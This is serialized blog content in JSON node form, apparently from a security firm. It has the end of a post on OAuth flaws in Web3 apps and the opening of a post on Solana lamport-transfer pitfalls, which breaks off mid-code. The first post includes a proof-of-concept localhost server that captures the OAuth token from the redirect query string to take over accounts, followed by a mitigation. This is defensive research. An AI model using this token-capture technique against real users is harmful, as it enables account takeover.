get",{"type":22,"tag":264,"props":72168,"children":72169},{"style":1539},[72170],{"type":27,"value":2660},{"type":22,"tag":264,"props":72172,"children":72173},{"style":1597},[72174],{"type":27,"value":72175},"\"{...}\"",{"type":22,"tag":264,"props":72177,"children":72178},{"style":1539},[72179],{"type":27,"value":16103},{"type":22,"tag":264,"props":72181,"children":72182},{"class":1534,"line":5213},[72183,72188,72193],{"type":22,"tag":264,"props":72184,"children":72185},{"style":1539},[72186],{"type":27,"value":72187},"                    call.",{"type":22,"tag":264,"props":72189,"children":72190},{"style":4401},[72191],{"type":27,"value":72192},"respondHtml",{"type":22,"tag":264,"props":72194,"children":72195},{"style":1539},[72196],{"type":27,"value":4594},{"type":22,"tag":264,"props":72198,"children":72199},{"class":1534,"line":10343},[72200,72205],{"type":22,"tag":264,"props":72201,"children":72202},{"style":4401},[72203],{"type":27,"value":72204},"                        head",{"type":22,"tag":264,"props":72206,"children":72207},{"style":1539},[72208],{"type":27,"value":4594},{"type":22,"tag":264,"props":72210,"children":72211},{"class":1534,"line":10361},[72212,72217,72222,72226,72231],{"type":22,"tag":264,"props":72213,"children":72214},{"style":4401},[72215],{"type":27,"value":72216},"                            meta",{"type":22,"tag":264,"props":72218,"children":72219},{"style":1539},[72220],{"type":27,"value":72221},"(charset ",{"type":22,"tag":264,"props":72223,"children":72224},{"style":4309},[72225],{"type":27,"value":429},{"type":22,"tag":264,"props":72227,"children":72228},{"style":1597},[72229],{"type":27,"value":72230}," \"UTF-8\"",{"type":22,"tag":264,"props":72232,"children":72233},{"style":1539},[72234],{"type":27,"value":4463},{"type":22,"tag":264,"props":72236,"children":72237},{"class":1534,"line":10406},[72238,72242,72247,72251,72256,72261,72265,72270],{"type":22,"tag":264,"props":72239,"children":72240},{"style":4401},[72241],{"type":27,"value":72216},{"type":22,"tag":264,"props":72243,"children":72244},{"style":1539},[72245],{"type":27,"value":72246},"(name ",{"type":22,"tag":264,"props":72248,"children":72249},{"style":4309},[72250],{"type":27,"value":429},{"type":22,"tag":264,"props":72252,"children":72253},{"style":1597},[72254],{"type":27,"value":72255}," \"viewport\"",{"type":22,"tag":264,"props":72257,"children":72258},{"style":1539},[72259],{"type":27,"value":72260},", content ",{"type":22,"tag":264,"props":72262,"children":72263},{"style":4309},[72264],{"type":27,"value":429},{"type":22,"tag":264,"props":72266,"children":72267},{"style":1597},[72268],{"type":27,"value":72269}," \"width=device-width, initial-scale=1.0\"",{"type":22,"tag":264,"props":72271,"children":72272},{"style":1539},[72273],{"type":27,"value":4463},{"type":22,"tag":264,"props":72275,"children":72276},{"class":1534,"line":10512},[72277,72282,72286,72291],{"type":22,"tag":264,"props":72278,"children":72279},{"style":4401},[72280],{"type":27,"value":72281},"                            title",{"type":22,"tag":264,"props":72283,"children":72284},{"style":1539},[72285],{"type":27,"value":2660},{"type":22,"tag":264,"props":72287,"children":72288},{"style":1597},[72289],{"type":27,"value":72290},"\"OAuth Redirect\"",{"type":22,"tag":264,"props":72292,"children":72293},{"style":1539},[72294],{"type":27,"value":4463},{"type":22,"tag":264,"props":72296,"children":72297},{"class":1534,"line":24810},[72298],{"type":22,"tag":264,"props":72299,"children":72300},{"style":1539},[72301],{"type":27,"value":72302},"                        }\n",{"type":22,"tag":264,"props":72304,"children":72305},{"class":1534,"line":24845},[72306,72311],{"type":22,"tag":264,"props":72307,"children":72308},{"style":4401},[72309],{"type":27,"value":72310},"                        body",{"type":22,"tag":264,"props":72312,"children":72313},{"style":1539},[72314],{"type":27,"value":4594},{"type":22,"tag":264,"props":72316,"children":72317},{"class":1534,"line":24853},[72318,72323,72327,72331,72336],{"type":22,"tag":264,"props":72319,"children":72320},{"style":4401},[72321],{"type":27,"value":72322},"                            h1",{"type":22,"tag":264,"props":72324,"children":72325},{"style":1539},[72326],{"type":27,"value":10884},{"type":22,"tag":264,"props":72328,"children":72329},{"style":4309},[72330],{"type":27,"value":673},{"type":22,"tag":264,"props":72332,"children":72333},{"style":1597},[72334],{"type":27,"value":72335},"\"Google OAuth Redirect\"",{"type":22,"tag":264,"props":72337,"children":72338},{"style":1539},[72339],{"type":27,"value":10894},{"type":22,"tag":264,"props":72341,"children":72342},{"class":1534,"line":24861},[72343,72348],{"type":22,"tag":264,"props":72344,"children":72345},{"style":4401},[72346],{"type":27,"value":72347},"                            script",{"type":22,"tag":264,"props":72349,"children":72350},{"style":1539},[72351],{"type":27,"value":4594},{"type":22,"tag":264,"props":72353,"children":72354},{"class":1534,"line":24870},[72355,72360],{"type":22,"tag":264,"props":72356,"children":72357},{"style":4309},[72358],{"type":27,"value":72359},"                                +",{"type":22,"tag":264,"props":72361,"children":72362},{"style":1597},[72363],{"type":27,"value":72364},"\"document.body.innerText = location.search;\"\n",{"type":22,"tag":264,"props":72366,"children":72367},{"class":1534,"line":24912},[72368],{"type":22,"tag":264,"props":72369,"children":72370},{"style":1539},[72371],{"type":27,"value":72372},"                            }\n",{"type":22,"tag":264,"props":72374,"children":72375},{"class":1534,"line":24945},[72376],{"type":22,"tag":264,"props":72377,"children":72378},{"style":1539},[72379],{"type":27,"value":72302},{"type":22,"tag":264,"props":72381,"children":72382},{"class":1534,"line":24953},[72383],{"type":22,"tag":264,"props":72384,"children":72385},{"style":1539},[72386],{"type":27,"value":72387},"                    }\n",{"type":22,"tag":264,"props":72389,"children":72390},{"class":1534,"line":24961},[72391],{"type":22,"tag":264,"props":72392,"children":72393},{"style":1539},[72394],{"type":27,"value":72395},"                }\n",{"type":22,"tag":264,"props":72397,"children":72398},{"class":1534,"line":24970},[72399],{"type":22,"tag":264,"props":72400,"children":72401},{"style":1539},[72402],{"type":27,"value":60206},{"type":22,"tag":264,"props":72404,"children":72405},{"class":1534,"line":25046},[72406,72411,72416,72421,72425,72429],{"type":22,"tag":264,"props":72407,"children":72408},{"style":1539},[72409],{"type":27,"value":72410},"        }.",{"type":22,"tag":264,"props":72412,"children":72413},{"style":4401},[72414],{"type":27,"value":72415},"start",{"type":22,"tag":264,"props":72417,"children":72418},{"style":1539},[72419],{"type":27,"value":72420},"(wait ",{"type":22,"tag":264,"props":72422,"children":72423},{"style":4309},[72424],{"type":27,"value":429},{"type":22,"tag":264,"props":72426,"children":72427},{"style":4293},[72428],{"type":27,"value":13768},{"type":22,"tag":264,"props":72430,"children":72431},{"style":1539},[72432],{"type":27,"value":4463},{"type":22,"tag":264,"props":72434,"children":72435},{"class":1534,"line":25079},[72436],{"type":22,"tag":264,"props":72437,"children":72438},{"style":1539},[72439],{"type":27,"value":1674},{"type":22,"tag":264,"props":72441,"children":72442},{"class":1534,"line":25087},[72443],{"type":22,"tag":264,"props":72444,"children":72445},{"style":1539},[72446],{"type":27,"value":1692},{"type":22,"tag":23,"props":72448,"children":72449},{},[72450],{"type":27,"value":72451},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":22,"tag":23,"props":72453,"children":72454},{},[72455],{"type":27,"value":72456},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":22,"tag":181,"props":72458,"children":72460},{"id":72459},"mitigation-1",[72461],{"type":27,"value":41651},{"type":22,"tag":23,"props":72463,"children":72464},{},[72465,72467,72472],{"type":27,"value":72466},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":22,"tag":257,"props":72468,"children":72470},{"className":72469},[],[72471],{"type":27,"value":71089},{"type":27,"value":72473}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":22,"tag":169,"props":72475,"children":72476},{"id":30246},[72477],{"type":27,"value":20252},{"type":22,"tag":23,"props":72479,"children":72480},{},[72481],{"type":27,"value":72482},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":22,"tag":23,"props":72484,"children":72485},{},[72486],{"type":27,"value":72487},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":22,"tag":4139,"props":72489,"children":72490},{},[72491],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":72493},[72494,72501,72506,72509],{"id":70857,"depth":1545,"text":70860,"children":72495},[72496,72497,72498,72499,72500],{"id":70868,"depth":1560,"text":70871},{"id":70895,"depth":1560,"text":70898},{"id":70956,"depth":1560,"text":70959},{"id":71013,"depth":1560,"text":71016},{"id":71112,"depth":1560,"text":71115},{"id":71158,"depth":1545,"text":71161,"children":72502},[72503,72504,72505],{"id":71164,"depth":1560,"text":71167},{"id":71191,"depth":1560,"text":71194},{"id":41648,"depth":1560,"text":41651},{"id":71640,"depth":1545,"text":71643,"children":72507},[72508],{"id":72459,"depth":1560,"text":41651},{"id":30246,"depth":1545,"text":20252},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":72514,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72515,"description":72516,"author":41767,"image":72517,"date":72519,"isFeatured":17,"tags":72520,"onBlogPage":17,"body":72521,"_type":4157,"_id":77175,"_source":4159,"_file":77176,"_stem":77177,"_extension":4162},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":72518,"height":14922,"width":14922},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[16],{"type":19,"children":72522,"toc":77164},[72523,72527,72532,72546,72552,72557,72587,72592,72597,73635,73640,73648,73653,73659,73665,73677,73710,73722,73735,73747,74192,74197,74243,74249,74254,74341,74346,74360,74373,75036,75041,75053,75059,75070,75082,75236,75250,75269,75290,75296,75301,75646,75651,75657,75676,75690,76312,76317,76337,76342,76347,76353,76365,76386,76561,76567,76572,76873,76894,76906,76918,77002,77022,77034,77040,77052,77058,77063,77086,77098,77104,77116,77121,77127,77132,77137,77155,77160],{"type":22,"tag":169,"props":72524,"children":72525},{"id":30329},[72526],{"type":27,"value":30332},{"type":22,"tag":23,"props":72528,"children":72529},{},[72530],{"type":27,"value":72531},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":22,"tag":23,"props":72533,"children":72534},{},[72535,72537,72544],{"type":27,"value":72536},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":22,"tag":69,"props":72538,"children":72541},{"href":72539,"rel":72540},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[73],[72542],{"type":27,"value":72543},"King of the Ether",{"type":27,"value":72545},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":22,"tag":169,"props":72547,"children":72549},{"id":72548},"the-game-king-of-the-sol",[72550],{"type":27,"value":72551},"The Game: King of the SOL",{"type":22,"tag":23,"props":72553,"children":72554},{},[72555],{"type":27,"value":72556},"The game works like this:",{"type":22,"tag":17988,"props":72558,"children":72559},{},[72560,72572,72577,72582],{"type":22,"tag":1871,"props":72561,"children":72562},{},[72563,72565,72570],{"type":27,"value":72564},"Anyone can become the ",{"type":22,"tag":242,"props":72566,"children":72567},{},[72568],{"type":27,"value":72569},"king",{"type":27,"value":72571}," by bidding at least 2× the previous bid.",{"type":22,"tag":1871,"props":72573,"children":72574},{},[72575],{"type":27,"value":72576},"The old king is reimbursed 95% of their bid.",{"type":22,"tag":1871,"props":72578,"children":72579},{},[72580],{"type":27,"value":72581},"The remaining 5% goes into a prize pot.",{"type":22,"tag":1871,"props":72583,"children":72584},{},[72585],{"type":27,"value":72586},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":22,"tag":23,"props":72588,"children":72589},{},[72590],{"type":27,"value":72591},"Simple, right?",{"type":22,"tag":23,"props":72593,"children":72594},{},[72595],{"type":27,"value":72596},"This is the core logic:",{"type":22,"tag":618,"props":72598,"children":72600},{"className":4274,"code":72599,"language":4273,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[72601],{"type":22,"tag":257,"props":72602,"children":72603},{"__ignoreMap":7},[72604,72619,72647,72662,72703,72710,72718,72769,72800,72807,72815,72830,72862,72869,72884,72915,72922,72929,72937,72954,73028,73036,73097,73109,73137,73177,73189,73205,73212,73220,73294,73306,73345,73373,73385,73400,73407,73415,73485,73529,73603,73610,73621,73628],{"type":22,"tag":264,"props":72605,"children":72606},{"class":1534,"line":1535},[72607,72611,72615],{"type":22,"tag":264,"props":72608,"children":72609},{"style":1539},[72610],{"type":27,"value":24138},{"type":22,"tag":264,"props":72612,"children":72613},{"style":4722},[72614],{"type":27,"value":24143},{"type":22,"tag":264,"props":72616,"children":72617},{"style":1539},[72618],{"type":27,"value":21565},{"type":22,"tag":264,"props":72620,"children":72621},{"class":1534,"line":1545},[72622,72626,72630,72635,72639,72643],{"type":22,"tag":264,"props":72623,"children":72624},{"style":4293},[72625],{"type":27,"value":14989},{"type":22,"tag":264,"props":72627,"children":72628},{"style":4293},[72629],{"type":27,"value":22458},{"type":22,"tag":264,"props":72631,"children":72632},{"style":4722},[72633],{"type":27,"value":72634}," ChangeKing",{"type":22,"tag":264,"props":72636,"children":72637},{"style":1539},[72638],{"type":27,"value":24223},{"type":22,"tag":264,"props":72640,"children":72641},{"style":4722},[72642],{"type":27,"value":24228},{"type":22,"tag":264,"props":72644,"children":72645},{"style":1539},[72646],{"type":27,"value":8574},{"type":22,"tag":264,"props":72648,"children":72649},{"class":1534,"line":1560},[72650,72654,72658],{"type":22,"tag":264,"props":72651,"children":72652},{"style":1539},[72653],{"type":27,"value":24430},{"type":22,"tag":264,"props":72655,"children":72656},{"style":4293},[72657],{"type":27,"value":5035},{"type":22,"tag":264,"props":72659,"children":72660},{"style":1539},[72661],{"type":27,"value":21565},{"type":22,"tag":264,"props":72663,"children":72664},{"class":1534,"line":1569},[72665,72669,72674,72678,72682,72686,72690,72694,72699],{"type":22,"tag":264,"props":72666,"children":72667},{"style":4293},[72668],{"type":27,"value":22150},{"type":22,"tag":264,"props":72670,"children":72671},{"style":1549},[72672],{"type":27,"value":72673}," throne",{"type":22,"tag":264,"props":72675,"children":72676},{"style":4309},[72677],{"type":27,"value":5785},{"type":22,"tag":264,"props":72679,"children":72680},{"style":4722},[72681],{"type":27,"value":24395},{"type":22,"tag":264,"props":72683,"children":72684},{"style":1539},[72685],{"type":27,"value":24223},{"type":22,"tag":264,"props":72687,"children":72688},{"style":4722},[72689],{"type":27,"value":24228},{"type":22,"tag":264,"props":72691,"children":72692},{"style":1539},[72693],{"type":27,"value":4380},{"type":22,"tag":264,"props":72695,"children":72696},{"style":4722},[72697],{"type":27,"value":72698},"Throne",{"type":22,"tag":264,"props":72700,"children":72701},{"style":1539},[72702],{"type":27,"value":7430},{"type":22,"tag":264,"props":72704,"children":72705},{"class":1534,"line":1583},[72706],{"type":22,"tag":264,"props":72707,"children":72708},{"emptyLinePlaceholder":17},[72709],{"type":27,"value":4986},{"type":22,"tag":264,"props":72711,"children":72712},{"class":1534,"line":1603},[72713],{"type":22,"tag":264,"props":72714,"children":72715},{"style":4284},[72716],{"type":27,"value":72717},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":22,"tag":264,"props":72719,"children":72720},{"class":1534,"line":1612},[72721,72725,72729,72734,72738,72743,72747,72752,72756,72760,72764],{"type":22,"tag":264,"props":72722,"children":72723},{"style":1539},[72724],{"type":27,"value":24430},{"type":22,"tag":264,"props":72726,"children":72727},{"style":4293},[72728],{"type":27,"value":5035},{"type":22,"tag":264,"props":72730,"children":72731},{"style":1539},[72732],{"type":27,"value":72733},", constraint ",{"type":22,"tag":264,"props":72735,"children":72736},{"style":4309},[72737],{"type":27,"value":429},{"type":22,"tag":264,"props":72739,"children":72740},{"style":1539},[72741],{"type":27,"value":72742}," old_king",{"type":22,"tag":264,"props":72744,"children":72745},{"style":4309},[72746],{"type":27,"value":210},{"type":22,"tag":264,"props":72748,"children":72749},{"style":1539},[72750],{"type":27,"value":72751},"key() ",{"type":22,"tag":264,"props":72753,"children":72754},{"style":4309},[72755],{"type":27,"value":9870},{"type":22,"tag":264,"props":72757,"children":72758},{"style":1539},[72759],{"type":27,"value":72673},{"type":22,"tag":264,"props":72761,"children":72762},{"style":4309},[72763],{"type":27,"value":210},{"type":22,"tag":264,"props":72765,"children":72766},{"style":1539},[72767],{"type":27,"value":72768},"king)]\n",{"type":22,"tag":264,"props":72770,"children":72771},{"class":1534,"line":1621},[72772,72776,72780,72784,72788,72792,72796],{"type":22,"tag":264,"props":72773,"children":72774},{"style":4293},[72775],{"type":27,"value":22150},{"type":22,"tag":264,"props":72777,"children":72778},{"style":1549},[72779],{"type":27,"value":72742},{"type":22,"tag":264,"props":72781,"children":72782},{"style":4309},[72783],{"type":27,"value":5785},{"type":22,"tag":264,"props":72785,"children":72786},{"style":4722},[72787],{"type":27,"value":26710},{"type":22,"tag":264,"props":72789,"children":72790},{"style":1539},[72791],{"type":27,"value":24223},{"type":22,"tag":264,"props":72793,"children":72794},{"style":4722},[72795],{"type":27,"value":24228},{"type":22,"tag":264,"props":72797,"children":72798},{"style":1539},[72799],{"type":27,"value":7430},{"type":22,"tag":264,"props":72801,"children":72802},{"class":1534,"line":1629},[72803],{"type":22,"tag":264,"props":72804,"children":72805},{"emptyLinePlaceholder":17},[72806],{"type":27,"value":4986},{"type":22,"tag":264,"props":72808,"children":72809},{"class":1534,"line":1642},[72810],{"type":22,"tag":264,"props":72811,"children":72812},{"style":4284},[72813],{"type":27,"value":72814},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":22,"tag":264,"props":72816,"children":72817},{"class":1534,"line":1660},[72818,72822,72826],{"type":22,"tag":264,"props":72819,"children":72820},{"style":1539},[72821],{"type":27,"value":24430},{"type":22,"tag":264,"props":72823,"children":72824},{"style":4293},[72825],{"type":27,"value":5035},{"type":22,"tag":264,"props":72827,"children":72828},{"style":1539},[72829],{"type":27,"value":21565},{"type":22,"tag":264,"props":72831,"children":72832},{"class":1534,"line":1668},[72833,72837,72842,72846,72850,72854,72858],{"type":22,"tag":264,"props":72834,"children":72835},{"style":4293},[72836],{"type":27,"value":22150},{"type":22,"tag":264,"props":72838,"children":72839},{"style":1549},[72840],{"type":27,"value":72841}," new_king",{"type":22,"tag":264,"props":72843,"children":72844},{"style":4309},[72845],{"type":27,"value":5785},{"type":22,"tag":264,"props":72847,"children":72848},{"style":4722},[72849],{"type":27,"value":26710},{"type":22,"tag":264,"props":72851,"children":72852},{"style":1539},[72853],{"type":27,"value":24223},{"type":22,"tag":264,"props":72855,"children":72856},{"style":4722},[72857],{"type":27,"value":24228},{"type":22,"tag":264,"props":72859,"children":72860},{"style":1539},[72861],{"type":27,"value":7430},{"type":22,"tag":264,"props":72863,"children":72864},{"class":1534,"line":1677},[72865],{"type":22,"tag":264,"props":72866,"children":72867},{"emptyLinePlaceholder":17},[72868],{"type":27,"value":4986},{"type":22,"tag":264,"props":72870,"children":72871},{"class":1534,"line":1686},[72872,72876,72880],{"type":22,"tag":264,"props":72873,"children":72874},{"style":1539},[72875],{"type":27,"value":24430},{"type":22,"tag":264,"props":72877,"children":72878},{"style":4293},[72879],{"type":27,"value":5035},{"type":22,"tag":264,"props":72881,"children":72882},{"style":1539},[72883],{"type":27,"value":21565},{"type":22,"tag":264,"props":72885,"children":72886},{"class":1534,"line":4948},[72887,72891,72895,72899,72903,72907,72911],{"type":22,"tag":264,"props":72888,"children":72889},{"style":4293},[72890],{"type":27,"value":22150},{"type":22,"tag":264,"props":72892,"children":72893},{"style":1549},[72894],{"type":27,"value":43557},{"type":22,"tag":264,"props":72896,"children":72897},{"style":4309},[72898],{"type":27,"value":5785},{"type":22,"tag":264,"props":72900,"children":72901},{"style":4722},[72902],{"type":27,"value":24459},{"type":22,"tag":264,"props":72904,"children":72905},{"style":1539},[72906],{"type":27,"value":24223},{"type":22,"tag":264,"props":72908,"children":72909},{"style":4722},[72910],{"type":27,"value":24228},{"type":22,"tag":264,"props":72912,"children":72913},{"style":1539},[72914],{"type":27,"value":7430},{"type":22,"tag":264,"props":72916,"children":72917},{"class":1534,"line":4957},[72918],{"type":22,"tag":264,"props":72919,"children":72920},{"style":1539},[72921],{"type":27,"value":1692},{"type":22,"tag":264,"props":72923,"children":72924},{"class":1534,"line":4980},[72925],{"type":22,"tag":264,"props":72926,"children":72927},{"emptyLinePlaceholder":17},[72928],{"type":27,"value":4986},{"type":22,"tag":264,"props":72930,"children":72931},{"class":1534,"line":4989},[72932],{"type":22,"tag":264,"props":72933,"children":72934},{"style":1539},[72935],{"type":27,"value":72936},"#[program]\n",{"type":22,"tag":264,"props":72938,"children":72939},{"class":1534,"line":4998},[72940,72944,72949],{"type":22,"tag":264,"props":72941,"children":72942},{"style":4293},[72943],{"type":27,"value":14989},{"type":22,"tag":264,"props":72945,"children":72946},{"style":4293},[72947],{"type":27,"value":72948}," mod",{"type":22,"tag":264,"props":72950,"children":72951},{"style":1539},[72952],{"type":27,"value":72953}," king_of_the_sol {\n",{"type":22,"tag":264,"props":72955,"children":72956},{"class":1534,"line":5067},[72957,72961,72965,72970,72974,72978,72982,72986,72990,72995,72999,73004,73008,73012,73016,73020,73024],{"type":22,"tag":264,"props":72958,"children":72959},{"style":4293},[72960],{"type":27,"value":22150},{"type":22,"tag":264,"props":72962,"children":72963},{"style":4293},[72964],{"type":27,"value":14994},{"type":22,"tag":264,"props":72966,"children":72967},{"style":4401},[72968],{"type":27,"value":72969}," change_king",{"type":22,"tag":264,"props":72971,"children":72972},{"style":1539},[72973],{"type":27,"value":2660},{"type":22,"tag":264,"props":72975,"children":72976},{"style":1549},[72977],{"type":27,"value":21587},{"type":22,"tag":264,"props":72979,"children":72980},{"style":4309},[72981],{"type":27,"value":5785},{"type":22,"tag":264,"props":72983,"children":72984},{"style":4722},[72985],{"type":27,"value":21596},{"type":22,"tag":264,"props":72987,"children":72988},{"style":1539},[72989],{"type":27,"value":7097},{"type":22,"tag":264,"props":72991,"children":72992},{"style":4722},[72993],{"type":27,"value":72994},"ChangeKing",{"type":22,"tag":264,"props":72996,"children":72997},{"style":1539},[72998],{"type":27,"value":7923},{"type":22,"tag":264,"props":73000,"children":73001},{"style":1549},[73002],{"type":27,"value":73003},"bid_amount",{"type":22,"tag":264,"props":73005,"children":73006},{"style":4309},[73007],{"type":27,"value":5785},{"type":22,"tag":264,"props":73009,"children":73010},{"style":4722},[73011],{"type":27,"value":7151},{"type":22,"tag":264,"props":73013,"children":73014},{"style":1539},[73015],{"type":27,"value":4390},{"type":22,"tag":264,"props":73017,"children":73018},{"style":4309},[73019],{"type":27,"value":15056},{"type":22,"tag":264,"props":73021,"children":73022},{"style":4722},[73023],{"type":27,"value":15061},{"type":22,"tag":264,"props":73025,"children":73026},{"style":1539},[73027],{"type":27,"value":21638},{"type":22,"tag":264,"props":73029,"children":73030},{"class":1534,"line":5075},[73031],{"type":22,"tag":264,"props":73032,"children":73033},{"style":4284},[73034],{"type":27,"value":73035},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":22,"tag":264,"props":73037,"children":73038},{"class":1534,"line":5105},[73039,73043,73047,73051,73055,73059,73063,73067,73071,73076,73080,73085,73089,73093],{"type":22,"tag":264,"props":73040,"children":73041},{"style":4401},[73042],{"type":27,"value":65770},{"type":22,"tag":264,"props":73044,"children":73045},{"style":1539},[73046],{"type":27,"value":2660},{"type":22,"tag":264,"props":73048,"children":73049},{"style":1549},[73050],{"type":27,"value":73003},{"type":22,"tag":264,"props":73052,"children":73053},{"style":4309},[73054],{"type":27,"value":9596},{"type":22,"tag":264,"props":73056,"children":73057},{"style":1549},[73058],{"type":27,"value":27155},{"type":22,"tag":264,"props":73060,"children":73061},{"style":4309},[73062],{"type":27,"value":210},{"type":22,"tag":264,"props":73064,"children":73065},{"style":1539},[73066],{"type":27,"value":15974},{"type":22,"tag":264,"props":73068,"children":73069},{"style":4309},[73070],{"type":27,"value":210},{"type":22,"tag":264,"props":73072,"children":73073},{"style":1539},[73074],{"type":27,"value":73075},"throne",{"type":22,"tag":264,"props":73077,"children":73078},{"style":4309},[73079],{"type":27,"value":210},{"type":22,"tag":264,"props":73081,"children":73082},{"style":1539},[73083],{"type":27,"value":73084},"last_bid_amount ",{"type":22,"tag":264,"props":73086,"children":73087},{"style":4309},[73088],{"type":27,"value":5865},{"type":22,"tag":264,"props":73090,"children":73091},{"style":4344},[73092],{"type":27,"value":9228},{"type":22,"tag":264,"props":73094,"children":73095},{"style":1539},[73096],{"type":27,"value":5142},{"type":22,"tag":264,"props":73098,"children":73099},{"class":1534,"line":5113},[73100,73105],{"type":22,"tag":264,"props":73101,"children":73102},{"style":4401},[73103],{"type":27,"value":73104},"        transfer_from_signer",{"type":22,"tag":264,"props":73106,"children":73107},{"style":1539},[73108],{"type":27,"value":4767},{"type":22,"tag":264,"props":73110,"children":73111},{"class":1534,"line":5145},[73112,73116,73120,73124,73128,73132],{"type":22,"tag":264,"props":73113,"children":73114},{"style":4309},[73115],{"type":27,"value":8978},{"type":22,"tag":264,"props":73117,"children":73118},{"style":1549},[73119],{"type":27,"value":21587},{"type":22,"tag":264,"props":73121,"children":73122},{"style":4309},[73123],{"type":27,"value":210},{"type":22,"tag":264,"props":73125,"children":73126},{"style":1539},[73127],{"type":27,"value":15974},{"type":22,"tag":264,"props":73129,"children":73130},{"style":4309},[73131],{"type":27,"value":210},{"type":22,"tag":264,"props":73133,"children":73134},{"style":1539},[73135],{"type":27,"value":73136},"payer,\n",{"type":22,"tag":264,"props":73138,"children":73139},{"class":1534,"line":5153},[73140,73144,73148,73152,73156,73160,73164,73168,73173],{"type":22,"tag":264,"props":73141,"children":73142},{"style":4309},[73143],{"type":27,"value":8978},{"type":22,"tag":264,"props":73145,"children":73146},{"style":1549},[73147],{"type":27,"value":21587},{"type":22,"tag":264,"props":73149,"children":73150},{"style":4309},[73151],{"type":27,"value":210},{"type":22,"tag":264,"props":73153,"children":73154},{"style":1539},[73155],{"type":27,"value":15974},{"type":22,"tag":264,"props":73157,"children":73158},{"style":4309},[73159],{"type":27,"value":210},{"type":22,"tag":264,"props":73161,"children":73162},{"style":1539},[73163],{"type":27,"value":73075},{"type":22,"tag":264,"props":73165,"children":73166},{"style":4309},[73167],{"type":27,"value":210},{"type":22,"tag":264,"props":73169,"children":73170},{"style":4401},[73171],{"type":27,"value":73172},"to_account_info",{"type":22,"tag":264,"props":73174,"children":73175},{"style":1539},[73176],{"type":27,"value":4795},{"type":22,"tag":264,"props":73178,"children":73179},{"class":1534,"line":5213},[73180,73185],{"type":22,"tag":264,"props":73181,"children":73182},{"style":1549},[73183],{"type":27,"value":73184},"            bid_amount",{"type":22,"tag":264,"props":73186,"children":73187},{"style":1539},[73188],{"type":27,"value":4812},{"type":22,"tag":264,"props":73190,"children":73191},{"class":1534,"line":10343},[73192,73197,73201],{"type":22,"tag":264,"props":73193,"children":73194},{"style":1539},[73195],{"type":27,"value":73196},"        )",{"type":22,"tag":264,"props":73198,"children":73199},{"style":4309},[73200],{"type":27,"value":4458},{"type":22,"tag":264,"props":73202,"children":73203},{"style":1539},[73204],{"type":27,"value":4322},{"type":22,"tag":264,"props":73206,"children":73207},{"class":1534,"line":10361},[73208],{"type":22,"tag":264,"props":73209,"children":73210},{"emptyLinePlaceholder":17},[73211],{"type":27,"value":4986},{"type":22,"tag":264,"props":73213,"children":73214},{"class":1534,"line":10406},[73215],{"type":22,"tag":264,"props":73216,"children":73217},{"style":4284},[73218],{"type":27,"value":73219},"        // Reimburse 95% of the last bid to the old 